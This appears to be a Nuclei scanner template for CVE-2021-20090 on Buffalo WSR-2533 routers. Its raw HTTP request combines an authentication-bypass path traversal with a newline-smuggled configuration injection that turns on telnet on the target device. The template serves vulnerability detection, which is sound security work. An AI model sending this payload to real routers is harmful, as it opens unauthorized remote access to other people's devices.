40 lines
1.4 KiB
YAML
40 lines
1.4 KiB
YAML
id: buffalo-config-injection
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info:
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name: Buffalo WSR-2533DHPL2 - Configuration File Injection
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author: gy741
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severity: critical
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description: |
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Buffalo WSR-2533DHPL2 firmware version <=1.02 and WSR-2533DHP3 firmware version <=1.24 do not properly sanitize user input via their web interfaces. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially gaining remote code execution.
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reference:
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- https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild
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- https://www.tenable.com/security/research/tra-2021-13
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- https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20090
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classification:
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cve-id: CVE-2021-20090
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tags: buffalo,firmware,iot
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requests:
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- raw:
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- |
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POST /images/..%2fapply_abstract.cgi HTTP/1.1
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Host: {{Hostname}}
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Connection: close
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action=start_ping&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=127.0.0.1%0A
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ARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "/Success.htm"
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- type: status
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status:
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- 302
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# Enhanced by mp on 2022/06/01
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